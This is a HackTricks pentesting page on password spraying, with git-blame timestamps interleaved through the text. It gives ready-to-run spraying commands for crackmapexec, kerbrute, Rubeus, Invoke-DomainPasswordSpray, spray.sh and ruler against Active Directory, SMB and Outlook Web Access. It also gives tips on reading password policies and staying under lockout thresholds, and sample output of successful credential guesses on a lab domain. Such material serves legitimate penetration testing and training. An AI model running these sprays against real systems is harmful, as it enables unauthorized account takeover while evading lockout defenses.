2022-08-10 14:32:58 +00:00
# Password Spraying
2022-04-28 16:01:33 +00:00
< details >
< summary > < strong > Support HackTricks and get benefits!< / strong > < / summary >
2022-09-09 11:28:04 +00:00
- Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo** ](https://github.com/carlospolop/hacktricks )**.**
2022-04-28 16:01:33 +00:00
< / details >
2022-08-10 14:32:58 +00:00
## **Password Spraying**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\
2020-07-15 15:43:14 +00:00
By **default** the **minimum** **password** **length** is **7** .
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames ](https://github.com/insidetrust/statistically-likely-usernames )
2021-10-18 11:21:18 +00:00
Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10).
2020-07-15 15:43:14 +00:00
2022-08-10 14:32:58 +00:00
### Get password policy
2020-07-15 15:43:14 +00:00
If you have some user credentials or a shell as a domain user you can get the password policy with:
* `crackmapexec <IP> -u 'user' -p 'password' --pass-pol`
* `enum4linx -u 'username' -p 'password' -P <IP>`
2020-11-10 12:58:40 +00:00
* `(Get-DomainPolicy)."SystemAccess" #From powerview`
2020-07-15 15:43:14 +00:00
2022-08-10 14:32:58 +00:00
### Exploitation
2020-07-15 15:43:14 +00:00
Using **crackmapexec:**
```bash
crackmapexec smb < IP > -u users.txt -p passwords.txt
```
2021-10-18 11:21:18 +00:00
Using [kerbrute ](https://github.com/TarlogicSecurity/kerbrute )(python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK
2020-07-15 15:43:14 +00:00
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
**Kerbrute** also tells if a username is valid.
2021-10-18 11:21:18 +00:00
Using [kerbrute ](https://github.com/ropnop/kerbrute )(Go)
2020-07-15 15:43:14 +00:00
```bash
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
```
With [Rubeus ](https://github.com/Zer1t0/Rubeus ) version with brute module:
```bash
# with a list of users
.\Rubeus.exe brute /users:< users_file > /passwords:< passwords_file > /domain:< domain_name > /outfile:< output_file >
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:< passwords_file > /outfile:< output_file >
```
With the `scanner/smb/smb_login` module of Metasploit:
2022-08-10 14:32:58 +00:00
![](< .. / . . / . gitbook / assets / image ( 132 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
With [Invoke-DomainPasswordSpray ](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1 )
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
2021-10-18 11:21:18 +00:00
or **spray** (read next section).
2020-07-15 15:43:14 +00:00
2022-08-10 14:32:58 +00:00
### Lockout check
2020-07-15 15:43:14 +00:00
The best way is not to try with more than 5/7 passwords per account.
2021-02-03 09:46:19 +00:00
So you have to be very careful with password spraying because you could lockout accounts. To brute force taking this into mind, you can use [_**spray**_ ](https://github.com/Greenwolf/Spray )_**:**_
2020-07-15 15:43:14 +00:00
```bash
2021-02-03 06:22:58 +00:00
spray.sh -smb < targetIP > < usernameList > < passwordList > < AttemptsPerLockoutPeriod > < LockoutPeriodInMinutes > < DOMAIN >
2020-07-15 15:43:14 +00:00
```
2022-08-10 14:32:58 +00:00
## Outlook Web Access
2020-12-21 10:44:06 +00:00
There are multiples tools for password spraying outlook.
2022-08-10 14:32:58 +00:00
* With [MSF Owa\_login ](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/ )
* with [MSF Owa\_ews\_login ](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/ )
2021-10-18 11:21:18 +00:00
* With [Ruler ](https://github.com/sensepost/ruler ) (reliable!)
* With [DomainPasswordSpray ](https://github.com/dafthack/DomainPasswordSpray ) (Powershell)
* With [MailSniper ](https://github.com/dafthack/MailSniper ) (Powershell)
2020-12-21 10:44:06 +00:00
2020-12-21 17:07:56 +00:00
To use any of these tools, you need a user list and a password / a small list of passwords to spray.
2020-12-21 10:44:06 +00:00
2020-12-21 17:07:56 +00:00
```bash
2020-12-21 10:44:06 +00:00
$ ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
2020-12-21 17:07:56 +00:00
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
[x] Failed: s.sven:Summer2020
[x] Failed: j.jenny:Summer2020
[x] Failed: t.teresa:Summer2020
[x] Failed: t.trump:Summer2020
[x] Failed: a.adams:Summer2020
[x] Failed: l.larsson:Summer2020
[x] Failed: CUBE0X0:Summer2020
[x] Failed: A.ADMIN:Summer2020
[x] Failed: C.CUBE:Summer2020
[+] Success: S.SVENSSON:Summer2020
2020-12-21 10:44:06 +00:00
```
2022-08-10 14:32:58 +00:00
## References :
2020-07-15 15:43:14 +00:00
2020-12-21 17:07:56 +00:00
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying )
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell ](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell )
* www.blackhillsinfosec.com/?p=5296
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying ](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying )
2022-04-28 16:01:33 +00:00
< details >
< summary > < strong > Support HackTricks and get benefits!< / strong > < / summary >
2022-09-09 11:28:04 +00:00
- Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo** ](https://github.com/carlospolop/hacktricks )**.**
2022-04-28 16:01:33 +00:00
< / details >